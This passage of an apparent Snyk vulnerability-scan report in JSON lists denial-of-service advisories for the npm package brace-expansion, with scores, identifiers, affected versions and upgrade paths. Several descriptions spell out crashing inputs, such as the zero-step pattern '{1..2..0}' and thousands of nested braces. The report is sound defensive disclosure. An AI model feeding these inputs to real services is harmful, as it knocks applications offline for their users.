Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
